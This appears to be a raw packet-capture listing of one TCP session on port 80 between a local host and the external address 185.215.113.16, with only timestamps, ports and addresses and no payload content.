Oct 24, 2024 09:07:26.459688902 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.459690094 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.459697008 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.459712982 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.459743023 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.459743023 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.459811926 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.460004091 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.460022926 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.460035086 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.460043907 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.460056067 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.460072994 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.460134029 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.460165977 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.460177898 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.460244894 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.460339069 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.460519075 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.460529089 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.460540056 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.460550070 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.460561037 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.460601091 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.460601091 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.460648060 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.460679054 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.460689068 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.460699081 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.460728884 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.463784933 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.502878904 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.502892017 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.502902985 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.503025055 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.503043890 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.503099918 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.503099918 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.503202915 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.503216028 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.503226995 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.503278017 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.503365040 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.503376961 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.503388882 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.503398895 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.503410101 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.503421068 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.503422022 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.503446102 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.503468037 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.503515959 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.503525972 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.503537893 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.503549099 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.503559113 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.503616095 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.503616095 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.503741026 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.503752947 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.503763914 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.503774881 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.503835917 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.503835917 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.503889084 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.504023075 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.504040956 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.504050016 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.504067898 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.504079103 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.504081011 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.504081011 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.504089117 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.504128933 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.504141092 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.504151106 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.504153013 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.504162073 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.504173040 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.504188061 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.504192114 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.504196882 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.504203081 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.504209042 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.504210949 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.504215956 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.504221916 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.504229069 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.504230022 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.504235983 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.504236937 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.504241943 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.504247904 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.504250050 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.504256010 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.504275084 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.504400015 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.542443991 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.542459011 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.542469978 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.542663097 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.573661089 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.573679924 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.573688984 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.573708057 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.573718071 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.573863983 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.573864937 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.573864937 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.574013948 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.574084997 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.574095964 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.574160099 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.574210882 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.574225903 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.574233055 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.574234962 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.574239969 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.574264050 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.574357033 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.574367046 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.574373960 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.574409008 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.574419975 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.574431896 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.574440956 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.574443102 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.574464083 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.574548960 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.574603081 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.574614048 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.574625015 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.574706078 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.574716091 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.574726105 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.574745893 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.574747086 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.574814081 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.574826002 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.574836969 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.574850082 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.574879885 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.574954987 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.574965954 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.574976921 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.574987888 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.574997902 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.575009108 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.575028896 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.575128078 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.575170994 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.575181961 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.575192928 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.575241089 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.575241089 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.575272083 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.575283051 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.575293064 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.575321913 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.575361967 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.575372934 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.575382948 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.575412035 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.575443029 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.575524092 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.575534105 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.575544119 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.575556040 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.575567007 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.575575113 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.575578928 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.575613976 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.575642109 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.575706959 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.575716019 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.575762987 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.575771093 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.575779915 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.575834036 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.575840950 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.575845003 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.575855970 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.575911045 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.618606091 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.618637085 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.618649960 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.618663073 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.618674994 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.618685007 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.618705034 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.618717909 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.618730068 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.618740082 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.618758917 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.618777990 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.618788958 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.618802071 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.618810892 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.618824005 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.618844986 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.618844032 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.618844986 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.618844986 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.618844986 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.618844986 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.618844986 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.618858099 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.618870020 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.618926048 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.618936062 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.618936062 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.618938923 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.618936062 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.618978977 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.618993044 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.619023085 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.619046926 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.619059086 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.619066954 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.619117022 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.619141102 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.619151115 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.619211912 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.619224072 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.619235039 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.619242907 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.619282961 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.619327068 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.619338036 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.619370937 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.619384050 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.619457960 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.619458914 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.619471073 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.619532108 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.619558096 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.619570017 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.619580984 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.619636059 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.619637012 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.619687080 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.619712114 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.619724035 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.619770050 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.619771957 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.619874001 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.619883060 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.619890928 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.619899035 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.619924068 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.619952917 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.619988918 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.620028973 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.659437895 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.659452915 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.659460068 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.659471989 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.659652948 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.659653902 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.690685987 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.690700054 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.690706968 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.690895081 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.691123962 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.691194057 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.691210985 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.691216946 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.691224098 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.691297054 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.691308975 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.691327095 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.691360950 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.691405058 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.691489935 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.691495895 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.691502094 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.691504002 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.691514015 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.691557884 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.691607952 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.691613913 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.691620111 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.691643000 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.691709042 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.691737890 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.691745043 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.691751003 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.691833019 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.691838980 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.691860914 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.691910028 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.691916943 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.691927910 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.691935062 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.691941023 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.691965103 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.692044973 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.692051888 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.692090988 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.692097902 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.692102909 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.692199945 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.692238092 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.692250013 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.692253113 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.692257881 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.692315102 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.692315102 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.692410946 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.692416906 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.692423105 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.692435026 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.692447901 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.692476034 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.692548037 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.692549944 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.692564011 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.692574024 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.692651987 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.692651987 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.692658901 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.692666054 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.692677975 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.692688942 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.692754030 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.692815065 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.692863941 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.692869902 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.692876101 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.692882061 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.692888021 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.692898989 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.692905903 CEST	80	49772	185.215.113.16	192.168.2.6
